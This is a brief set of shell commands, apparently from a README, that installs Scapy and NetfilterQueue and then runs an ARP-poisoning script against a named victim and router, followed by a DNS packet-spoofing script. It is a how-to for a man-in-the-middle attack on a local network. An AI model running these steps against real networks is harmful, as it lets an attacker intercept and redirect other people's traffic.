Install Scapy
% sudo apt-get install tcpdump graphviz imagemagick python-gnuplot python-crypto python-pyx
% pip install scapy
Install python-NetfilterQueue
% sudo apt-get install build-essential python-dev libnetfilter-queue-dev
% git clone https://github.com/fqrouter/python-netfilterqueue.git
% cd python-netfilterqueue
% python setup.py install
% git clone https://github.com/devleoper/arp-dns-spoof.git
% sudo python arp_poison.py -v <victim IP Address> -r <router IP Address>
% sudo python dns_packet_spoof.py